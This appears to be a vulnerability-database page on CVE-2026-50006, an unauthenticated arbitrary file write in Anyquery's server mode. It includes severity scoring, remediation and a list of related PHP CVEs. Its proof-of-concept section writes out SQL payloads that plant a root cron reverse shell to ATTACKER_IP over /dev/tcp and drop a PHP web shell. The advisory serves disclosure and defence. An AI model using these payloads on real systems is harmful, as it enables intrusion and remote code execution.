Skip to main content

Anyquery CVE-2026-50006

| EUVDEUVD-2026-77809 CRITICAL
Path Traversal (CWE-22)
2026-07-14 https://github.com/julien040/anyquery GHSA-xrcf-6jh3-ggvx
9.1
CVSS 3.1 · Vendor: https://github.com/julien040/anyquery
Share

Severity by source

Vendor (https://github.com/julien040/anyquery) PRIMARY
9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
vuln.today AI
9.1 CRITICAL

Network-reachable unauthenticated Server Mode listener with no auth gives AV:N/AC:L/PR:N/UI:N; arbitrary write yields I:H/A:H, and the write action alone leaks no data so C:N.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE
CRITICAL
qualitative

Primary rating from Vendor (https://github.com/julien040/anyquery).

CVSS VectorVendor: https://github.com/julien040/anyquery

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

Lifecycle Timeline

4
Patch available
Sep 14, 2026 - 22:19 EUVD
Source Code Evidence Fetched
Jul 14, 2026 - 19:57 vuln.today
Analysis Generated
Jul 14, 2026 - 19:57 vuln.today
CVE Published
Jul 14, 2026 - 18:33 github-advisory
CRITICAL 9.1

DescriptionCVE.org

Summary

Anyquery's server mode does not disable or restrict native SQLite disk manipulation commands. Unauthenticated attackers connecting to the MySQL-compatible server port can use the ATTACH DATABASE command to write arbitrary SQLite databases to any path on the victim's filesystem where the process has write permissions. This leads to Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) depending on the environment (e.g., by dropping a PHP web shell if a web server is running, or overwriting system cronjobs if running as root).

Details

When Anyquery is launched in Server Mode (anyquery server), it blindly proxies incoming SQL commands to the underlying SQLite engine. SQLite allows dynamic database mounting via the ATTACH DATABASE command, which creates a physical .db file on the filesystem if the file does not exist.

An attacker can connect to the open Anyquery port, attach a new database to a sensitive path (e.g., /var/www/html/shell.php, /etc/cron.d/pwn or /root/.ssh/authorized_keys), create a table, and insert a malicious payload. Although the file will contain a binary SQLite header, standard Linux services like cron, sshd, and web servers like PHP tolerate garbage data and will parse/execute the valid payload lines injected by the attacker.

PoC (Proof of Concept)

  1. Start the server on the victim machine:
bash
   anyquery server --host 0.0.0.0 --port 8070
  1. Connect from an attacker machine:
bash
   mysql -u root -h <VICTIM_IP> -P 8070
  1. Execute the payload to write a malicious cronjob for native RCE (Note: the Anyquery process must have write permissions to the target directory, such as /etc/cron.d or /var/spool/cron/crontabs/):
sql
   ATTACH DATABASE '/etc/cron.d/pwn' AS pwn;
   CREATE TABLE pwn.task (cmd TEXT);
   INSERT INTO pwn.task VALUES ('* * * * * root /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/1337 0>&1"');

*Alternatively, if a web server is running and the Anyquery process can write to the web root, you can drop a PHP shell:*

sql
   ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
   CREATE TABLE pwn.hacked (cmd TEXT);
   INSERT INTO pwn.hacked VALUES ('<?php system($_GET["cmd"]); ?>');

*If testing locally as a non-root user, you can verify the vulnerability by writing to /tmp:*

sql
   ATTACH DATABASE '/tmp/pwn.db' AS pwn;
   CREATE TABLE pwn.test (cmd TEXT);
   INSERT INTO pwn.test VALUES ('Hello Anyquery AFW');

Within 60 seconds, the system's cron daemon will ignore the SQLite header, parse the valid cron string, and execute the reverse shell payload with root privileges.

Impact

  • Confidentiality: None (from the write action itself, though combined with LFR it becomes High).
  • Integrity: High. Arbitrary files can be written or overwritten, which corrupts the filesystem.
  • Availability: High. Overwriting critical system files (e.g., configurations, databases) can lead to complete Denial of Service (DoS).
  • CVSS Score: 9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
  • *Note: If the process is running with elevated privileges (e.g., root) or inside a web root directory, this escalates to Remote Code Execution (RCE) with a CVSS of 9.8 (Critical).*

Remediation

Disable dangerous SQLite functions (ATTACH DATABASE, DETACH DATABASE, etc.) when running in Server Mode. Restrict the MySQL handler so that it only permits operations on the main database or in-memory virtual tables.

AnalysisAI

Arbitrary file write in Anyquery Server Mode (versions < 0.4.5) allows unauthenticated remote attackers to write files to any path the process can access by abusing SQLite's native ATTACH DATABASE command exposed over the MySQL-compatible listener. Because the server blindly proxies SQL to the underlying SQLite engine, an attacker can create files such as cron jobs, PHP web shells, or SSH authorized_keys and escalate the file write into remote code execution or denial of service. A working step-by-step proof-of-concept is published in the vendor's GitHub Security Advisory (GHSA-xrcf-6jh3-ggvx); there is no CISA KEV entry and no confirmed in-the-wild exploitation at time of analysis.

Technical ContextAI

Anyquery is an open-source Go query engine (pkg:go/github.com/julien040/anyquery) built on top of SQLite that lets users query arbitrary data sources over SQL. In Server Mode (anyquery server), it exposes a MySQL wire-protocol listener and forwards incoming statements directly to SQLite without a command allow-list. SQLite's ATTACH DATABASE statement creates a physical .db file on disk when the target does not already exist, so an attacker-controlled ATTACH path becomes an attacker-controlled file creation primitive. The CWE-22 (Improper Limitation of a Pathname to a Restricted Directory / Path Traversal) classification captures the root cause: no restriction on the pathname supplied to ATTACH. Although the written file begins with a binary SQLite header, permissive parsers in cron, sshd, and PHP ignore the garbage header bytes and act on the valid payload rows inserted via subsequent INSERT statements, turning file write into code execution.

RemediationAI

Vendor-released patch: 0.4.5 - upgrade Anyquery to version 0.4.5 or later, which adds server sandboxing (commit 27f84fc) to remediate this issue and the related CVE-2026-47253; see https://github.com/julien040/anyquery/releases/tag/0.4.5 and the advisory https://github.com/julien040/anyquery/security/advisories/GHSA-xrcf-6jh3-ggvx. If immediate patching is not possible, do not expose Server Mode to untrusted networks: avoid binding to 0.0.0.0 and instead bind to 127.0.0.1 or a trusted management interface, and firewall the server port (default in the PoC is 8070) so only trusted hosts can reach it - the trade-off is loss of remote access for legitimate clients. Run the Anyquery process as an unprivileged, least-permission user with no write access to sensitive directories such as /etc/cron.d, /var/spool/cron/crontabs, web roots, and SSH key paths, ideally inside a container or restricted filesystem namespace, which limits but does not eliminate the arbitrary write. The vendor's fix approach - disabling ATTACH/DETACH DATABASE and restricting the MySQL handler to the main or in-memory database - is the definitive control and cannot be fully replicated by configuration alone in older versions.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

Share

CVE-2026-50006 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy